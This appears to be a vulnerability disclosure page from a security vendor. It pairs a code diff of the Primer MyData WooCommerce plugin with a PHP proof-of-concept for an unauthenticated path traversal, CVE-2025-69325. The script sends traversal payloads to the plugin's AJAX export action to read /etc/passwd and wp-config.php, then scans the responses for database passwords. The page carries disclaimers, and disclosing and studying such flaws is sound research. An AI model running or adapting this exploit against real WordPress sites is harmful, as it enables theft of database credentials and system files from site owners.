+        $date_to   = isset($_GET['date_to']) ? sanitize_text_field($_GET['date_to']) : null;
+        $receipt   = isset($_GET['receipt_filter']) ? sanitize_key($_GET['receipt_filter']) : null;
+        $refund    = isset($_GET['refund_filter']) ? sanitize_key($_GET['refund_filter']) : null;
+        $status    = isset($_GET['status_filter']) ? sanitize_key($_GET['status_filter']) : null;
+
+        if (empty($date_from) && empty($date_to) && empty($receipt) && empty($refund) && empty($status)) {
+            return $orders_data;
+        }
+
+        $filtered_data = array_filter($orders_data, function($order) use ($date_from, $date_to, $receipt, $refund, $status) {
+            $pass_date = $pass_receipt = $pass_refund = $pass_status = true;
+
+            $order_date_timestamp = strtotime($order['date']);
+
+            if ($date_from) {
+                $from_timestamp = strtotime($date_from);
+                if ($order_date_timestamp < $from_timestamp) {
+                    $pass_date = false;
+                }
+            }
+
+            if ($pass_date && $date_to) {
+                $to_timestamp = strtotime($date_to) + (24 * 60 * 60);
+                if ($order_date_timestamp >= $to_timestamp) {
+                    $pass_date = false;
+                }
+            }
+
+            if ($receipt) {
+                $is_issued = !empty($order['receipt']);
+                switch ($receipt) {
+                    case 'issued':
+                        $pass_receipt = $is_issued;
+                        break;
+                    case 'not_issued':
+                        $pass_receipt = !$is_issued;
+                        break;
+                }
+            }
+
+            if ($refund) {
+                $order_refund_message = strtolower(str_replace(' ', '_', $order['refund_message']));
+                switch ($refund) {
+                    case 'paid':
+                        $pass_refund = ($order_refund_message === 'paid');
+                        break;
+                    case 'partially_refunded':
+                        $pass_refund = ($order_refund_message === 'partially_refunded');
+                        break;
+                    case 'refunded':
+                        $pass_refund = ($order_refund_message === 'refunded');
+                        break;
+                }
+            }
+
+            if ($status) {
+                $order_status_slug = str_replace('wc-', '', $order['status']);
+                $pass_status       = $order_status_slug === $status;
+            }
+
+            return $pass_date && $pass_receipt && $pass_refund && $pass_status;
+        });
+
+        return $filtered_data;
+    }
+
+    public function render_refund_modal() {
+        $currency_symbol = get_woocommerce_currency_symbol();
+        ob_start();
+        ?>
+        <div id="refund-modal-overlay">
+            <div id="refund-modal">
+                <h3><?php _e('Process Refund', 'primer'); ?></h3>
+                <p><?php _e('Order:', 'primer'); ?> <strong id="modal-order-number">N/A</strong></p>
+                <p><?php _e('Max Refund:', 'primer'); ?> <strong id="modal-max-refund">N/A</strong></p>
+                <hr>
+                <p class="payments-enter-amount"><?php _e('Enter Amount:', 'primer'); ?></p>
+                <div class="refund-amount-input-div">
+                    <span style="font-size: 1.2em;"><?php echo esc_html($currency_symbol); ?></span>
+                    <input type="number" id="refund-amount-input" step="0.01" min="0.01">
+                </div>
+                <p id="refund-error-message"></p>
+                <div class="refund-actions">
+                    <button type="button" class="button button-secondary cancel-refund"><?php _e('Cancel', 'primer'); ?></button>
+                    <button type="button" class="button button-primary confirm-refund"><?php _e('Confirm Refund', 'primer'); ?></button>
+                </div>
+            </div>
+        </div>
+        <?php
+        return ob_get_clean();
+    }
+
+}
+
+new PrimerPaymentsPage();
+
+function get_piraeusbank_transactions() {
+    global $wpdb;
+    $table_name = $wpdb->prefix . 'piraeusbank_transactions';
+
+    if ($wpdb->get_var("SHOW TABLES LIKE '$table_name'") !== $table_name) {
+        return array();
+    }
+
+    $query = "SELECT * FROM $table_name ORDER BY timestamp DESC";
+
+    return $wpdb->get_results($query, ARRAY_A);
+}
--- a/primer-mydata/admin/includes/primer-admin-table.php
+++ b/primer-mydata/admin/includes/primer-admin-table.php
@@ -616,6 +616,9 @@
             $invoiceType             = '';
             $receipt_log_value       = '';
             $total                   = '';
+            $series                  = '';
+            $serie                   = '';
+            $number                  = '';
             $response         = null;
             $response_message = null;
             $response_code    = null;
@@ -624,11 +627,33 @@
             $Vat_exemption_categories    = $create_json_instance->getVatExemptionCategories();
             $Vat_exemption_categories_en = $create_json_instance->getVatExemptionCategoriesEn();
             $i = 1;
+
             while ($i <= 1) {
                 $mydata_options = get_option('primer_mydata');
-                $serie = get_post_meta($order_id, '_primer_receipt_series', true) != null ? get_post_meta($order_id, '_primer_receipt_series', true) != null : '';
                 $series = '';
-                $number = get_post_meta($order_id, '_primer_receipt_number', true) != null ? get_post_meta($order_id, '_primer_receipt_number', true) : '';
+
+                $transmission_failure = $order->get_meta('transmission_failure_check');
+                $post_id_failed       = $order->get_meta('order_id_from_receipt');
+                $already_issued       = get_post_meta($post_id_failed, 'response_invoice_mark', true);
+
+                if (($transmission_failure == 1 || $transmission_failure == 3) && empty($already_issued)) {
+                    $serie  = get_post_meta($post_id_failed, '_primer_receipt_series', true);
+                    $number = get_post_meta($post_id_failed, '_primer_receipt_number', true);
+
+                    $issue_date               = new DateTime("now", new DateTimeZone("Europe/Athens"));
+                    $order_datetime_co        = $order->get_meta('order_datetime_failed');
+
+                    if ($order_datetime_co != '') {
+                        $issue_date = new DateTime($order_datetime_co, new DateTimeZone("Europe/Athens"));
+                    }
+
+                    $gr_time      = $issue_date->format('Y-m-d');
+                    $invoice_time = $issue_date->format('H:i');
+                } else {
+                    $serie  = get_post_meta($order_id, '_primer_receipt_series', true) != null ? get_post_meta($order_id, '_primer_receipt_series', true) != null : '';
+                    $number = get_post_meta($order_id, '_primer_receipt_number', true) != null ? get_post_meta($order_id, '_primer_receipt_number', true) : '';
+                }
+
                 $invoice_data = $create_json_instance->create_invoice($user_id, $order_id, $total_vat_number, $mydata_options, $primer_license_data,
                             $total, $series, $serie, $number, $currency, $currency_symbol, $user_data, $insert_taxonomy,
                             $classificationCategory, $classificationCategory_en, $response_data, $receipt_log_value, $receipt_log_value_array,
--- a/primer-mydata/includes/class-primer-cron.php
+++ b/primer-mydata/includes/class-primer-cron.php
@@ -8,21 +8,23 @@
 use PrimerDompdfDompdf;
 use PhpOfficePhpSpreadsheetSpreadsheet;
 use PhpOfficePhpSpreadsheetWriterXlsx;
+use PhpOfficePhpSpreadsheetStyleNumberFormat;
+use PhpOfficePhpSpreadsheetCellDataType;

 class PrimerCron {

-	public function __construct() {
-		add_action('primer_cron_save_settings', array($this, 'primer_save_automation_data'));
+    public function __construct() {
+        add_action('primer_cron_save_settings', array($this, 'primer_save_automation_data'));
         add_action('primer_cron_process', array($this, 'convert_order_to_invoice'), 1);
         add_action('primer_cron_process_failed', array($this, 'convert_order_to_invoice_failed'), 1);
         add_action('primer_cron_process_credit_failed', array($this, 'primer_cancel_invoice_cron'), 1);
-		add_action('wp_ajax_primer_fire_cron', array($this, 'ajax_fire_cron' ));
-		add_action('primer_cron_save_settings', array($this, 'primer_save_export_data'));
-		add_action('primer_cron_export_process', array($this, 'export_invoice_to_report'));
-		add_action('wp_ajax_export_invoice_to_report', array($this, 'export_invoice_to_report'));
+        add_action('wp_ajax_primer_fire_cron', array($this, 'ajax_fire_cron'));
+        add_action('primer_cron_save_settings', array($this, 'primer_save_export_data'));
+        add_action('primer_cron_export_process', array($this, 'export_invoice_to_report'));
+        add_action('wp_ajax_export_invoice_to_report', array($this, 'export_invoice_to_report'));
         add_action('wp_ajax_primer_get_woocommerce_tax_rates', array($this, 'primer_get_woocommerce_tax_rates'));
         add_action('primer_cron_primer_license_remaining', array(&$this, 'primer_cron_license_remaining'), 1);
-	}
+    }

     public function primer_save_automation_data() {
         $next_timestamp        = wp_next_scheduled('primer_cron_process');
@@ -212,6 +214,7 @@
                         'return'     => 'ids',
                         'limit'      => $limit_automation_orders,
                         'order'      => 'DESC',
+//                        'min_total'  => 0.01,
                         'meta_query' => array(
                             array(
                                 'key'     => 'receipt_status',
@@ -292,9 +295,7 @@

                         $insert_taxonomy         = 'receipt_status';
                         $receipt_log_value_array = array();
-                        $invoice_data            = $order_country = $order_invoice_type = $order_vatNumber = $user_order_email = $currency = $currency_symbol = $user_id
-                            = $order_total_price = $user_full_name = $user_data = $serie = $series = $number = $invoice_time = $invoice_term = $response_data = $invoiceType
-                            = $receipt_log_value = $total = '';
+                        $invoice_data            = $order_country = $order_invoice_type = $order_vatNumber = $user_order_email = $currency = $currency_symbol = $user_id = $order_total_price = $user_full_name = $user_data = $serie = $series = $number = $invoice_time = $invoice_term = $response_data = $invoiceType = $receipt_log_value = $total = '';
                         $response_to_array       = $response_code = $response_message = $response = null;

                         $create_json_instance        = new Create_json();
@@ -308,10 +309,7 @@
                             $serie             = get_post_meta($order_id, '_primer_receipt_series', true) != null ? get_post_meta($order_id, '_primer_receipt_series', true) != null : '';
                             $series            = '';
                             $number            = get_post_meta($order_id, '_primer_receipt_number', true) != null ? get_post_meta($order_id, '_primer_receipt_number', true) : '';
-                            $invoice_data      = $create_json_instance->create_invoice($user_id, $order_id, $total_vat_number, $mydata_options, $primer_license_data, $total, $series, $serie,
-                                $number, $currency, $currency_symbol, $user_data, $insert_taxonomy, $classificationCategory, $classificationCategory_en, $response_data, $receipt_log_value,
-                                $receipt_log_value_array, $receipt_log_id, $invoice_term, $gr_time, $invoice_time, $order_total_price, $order_invoice_type, $order_vatNumber, $user_order_email,
-                                $order_country, $user_full_name, $primer_smtp, $log_ids, $callingFunction, $invoiceType, $classificationType);
+                            $invoice_data      = $create_json_instance->create_invoice($user_id, $order_id, $total_vat_number, $mydata_options, $primer_license_data, $total, $series, $serie, $number, $currency, $currency_symbol, $user_data, $insert_taxonomy, $classificationCategory, $classificationCategory_en, $response_data, $receipt_log_value, $receipt_log_value_array, $receipt_log_id, $invoice_term, $gr_time, $invoice_time, $order_total_price, $order_invoice_type, $order_vatNumber, $user_order_email, $order_country, $user_full_name, $primer_smtp, $log_ids, $callingFunction, $invoiceType, $classificationType);
                             $curl_args['body'] = json_encode($invoice_data);
                             $response          = wp_remote_post($url, $curl_args);
                             $response_message  = wp_remote_retrieve_body($response);
@@ -489,6 +487,15 @@
                                                 update_post_meta($order_log_id, 'receipt_log_error', $receipt_log_value);
                                             }
                                         }
+                                        $post_issued = 'issued';
+                                        update_post_meta($post_id, 'receipt_status', $post_issued);
+                                        $order->update_meta_data('receipt_status', $post_issued);
+                                        add_post_meta($post_id, 'receipt_client', $user_data);
+                                        add_post_meta($post_id, 'receipt_client_id', $user_id);
+                                        add_post_meta($post_id, 'receipt_price', $order_total_price . ' ' . $currency_symbol);
+                                        $order->update_meta_data('transmission_failure_check', 2);
+                                        $order->update_meta_data('failed_48', 'no');
+                                        $order->save();

                                         primer_generate_qr($post_id, $generated_uid);

@@ -624,13 +631,6 @@
                                         $output    = $dompdf->output();
                                         file_put_contents($upload_dir . '/email-invoices/' . $post_name . '.pdf', $output);
                                         $attachments = $upload_dir . '/email-invoices/' . $post_name . '.pdf';
-                                        $post_issued = 'issued';
-                                        update_post_meta($post_id, 'receipt_status', $post_issued);
-                                        $order->update_meta_data('receipt_status', $post_issued);
-                                        $order->save();
-                                        add_post_meta($post_id, 'receipt_client', $user_data);
-                                        add_post_meta($post_id, 'receipt_client_id', $user_id);
-                                        add_post_meta($post_id, 'receipt_price', $order_total_price . ' ' . $currency_symbol);
                                         $primer_smtp_options = get_option('primer_emails');

                                         if (!empty($primer_smtp_options['email_subject'])) {
@@ -644,7 +644,6 @@
                                             $client_first_name   = $order->get_meta('_billing_first_name');
                                             $client_last_name    = $order->get_meta('_billing_last_name');
                                             $client_email        = $order->get_meta('_billing_email');
-                                            $country             = $order->get_meta('_billing_country');
                                             $streetAdress        = $order->get_meta('_billing_address_1');
                                             $townCity            = $order->get_meta('_billing_city');
                                             $phone               = $order->get_meta('_billing_phone');
@@ -716,22 +715,18 @@
                                             update_post_meta($order_log_id, 'receipt_log_automation_email_error', $email_logs);
                                             update_post_meta($order_log_id, 'receipt_log_automation_total_status', 'only_issued');
                                         }
-
-                                        $order->update_meta_data('transmission_failure_check', 2);
-                                        $order->update_meta_data('failed_48', 'no');
-                                        $order->save();
                                         $mydata_options['timeout_check_48'] = 0;

                                         if (($response_code > 500 || $is_timeout) && $general_settings['primer_cron_transmission_failure'] == 'on') {
                                             if ($response_code == 512) {
                                                 $receipt_log_value         .= $error_messages['unable_connect_provider_aade'];
-                                                $receipt_log_value_array[]  = $error_messages['unable_connect_provider_aade'];
+                                                $receipt_log_value_array[] = $error_messages['unable_connect_provider_aade'];
                                                 $order->update_meta_data('transmission_failure_check', 3);
                                                 $order->save();
                                                 update_post_meta($receipt_log_id, 'receipt_log_error', $receipt_log_value_array);
                                             } else {
                                                 $receipt_log_value         .= $error_messages['unable_connect_entity_provider'];
-                                                $receipt_log_value_array[]  = $error_messages['unable_connect_entity_provider'];
+                                                $receipt_log_value_array[] = $error_messages['unable_connect_entity_provider'];
                                                 $order->update_meta_data('transmission_failure_check', 1);
                                                 $order->save();
                                                 update_post_meta($receipt_log_id, 'receipt_log_error', $receipt_log_value_array);
@@ -934,24 +929,19 @@
                     break;
                 }

-                $order_country = $order_invoice_type = $order_vatNumber = $user_order_email = $currency = $currency_symbol = $user_id
-                    = $order_total_price = $user_full_name = $user_data = $invoice_term = $response_data = $invoiceType
-                    = $receipt_log_value = $total = $series = '';
+                $order_country = $order_invoice_type = $order_vatNumber = $user_order_email = $currency = $currency_symbol = $user_id = $order_total_price = $user_full_name = $user_data = $invoice_term = $response_data = $invoiceType = $receipt_log_value = $total = $series = '';

                 $receipt_log_value_array = array();

-                $insert_taxonomy             = 'receipt_status';
-                $serie                       = get_post_meta($post_id_failed, '_primer_receipt_series', true);
-                $number                      = get_post_meta($post_id_failed, '_primer_receipt_number', true);
-                $connectionFailedMessage     = get_post_meta($post_id_failed, 'connection_fail_message', true);
+                $insert_taxonomy         = 'receipt_status';
+                $serie                   = get_post_meta($post_id_failed, '_primer_receipt_series', true);
+                $number                  = get_post_meta($post_id_failed, '_primer_receipt_number', true);
+                $connectionFailedMessage = get_post_meta($post_id_failed, 'connection_fail_message', true);

                 $create_json_instance        = new Create_json();
                 $Vat_exemption_categories    = $create_json_instance->getVatExemptionCategories();
                 $Vat_exemption_categories_en = $create_json_instance->getVatExemptionCategoriesEn();
-                $invoice_data                = $create_json_instance->create_invoice($us

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-69325 - Primer MyData for Woocommerce <= 4.2.8 - Unauthenticated Path Traversal

<?php
/**
 * Proof of Concept for CVE-2025-69325
 * Unauthenticated Path Traversal in Primer MyData for WooCommerce
 * 
 * Usage: php poc.php http://target-wordpress-site.com
 */

$target_url = isset($argv[1]) ? rtrim($argv[1], '/') : 'http://localhost/wordpress';

// WordPress admin-ajax.php endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Vulnerable AJAX action
$action = 'primer_export_receipts';

// Path traversal payload to read /etc/passwd (Linux) or wp-config.php (WordPress)
$payloads = [
    '../../../../../../../../etc/passwd',
    '../../../wp-config.php',
    '../../../../wp-config.php',
    '../../../../../wp-config.php'
];

echo "[+] Testing CVE-2025-69325 on: $target_urln";
echo "[+] Target AJAX endpoint: $ajax_urlnn";

foreach ($payloads as $payload) {
    echo "[+] Testing payload: $payloadn";
    
    // Prepare POST data with path traversal in export_path_files parameter
    $post_data = [
        'action' => $action,
        'export_path_files' => $payload,
        'export_path' => 'on',  // Enable custom export path
        'export_select_invoice_type' => 'A',
        'export_payment_method' => 'A',
        'export_receipt_uid' => 'A',
        'export_receipt_mark' => 'A',
        'export_authentication_code' => 'A'
    ];
    
    // Initialize cURL
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $ajax_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    
    // Execute request
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
    if (curl_errno($ch)) {
        echo "[-] cURL error: " . curl_error($ch) . "n";
    } else {
        echo "[+] HTTP Response Code: $http_coden";
        
        // Check for indicators of successful file read
        if (strpos($response, 'DB_NAME') !== false || 
            strpos($response, 'DB_PASSWORD') !== false ||
            strpos($response, 'root:') !== false) {
            echo "[!] SUCCESS: Possible file content leakage detected!n";
            echo "[!] Response preview: " . substr($response, 0, 500) . "...n";
            break;
        } elseif (strpos($response, 'error') !== false || strpos($response, 'Error') !== false) {
            echo "[-] Error response receivedn";
        } else {
            echo "[-] No obvious file content in responsen";
        }
    }
    
    curl_close($ch);
    echo "n";
}

echo "[+] Proof of Concept completedn";
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School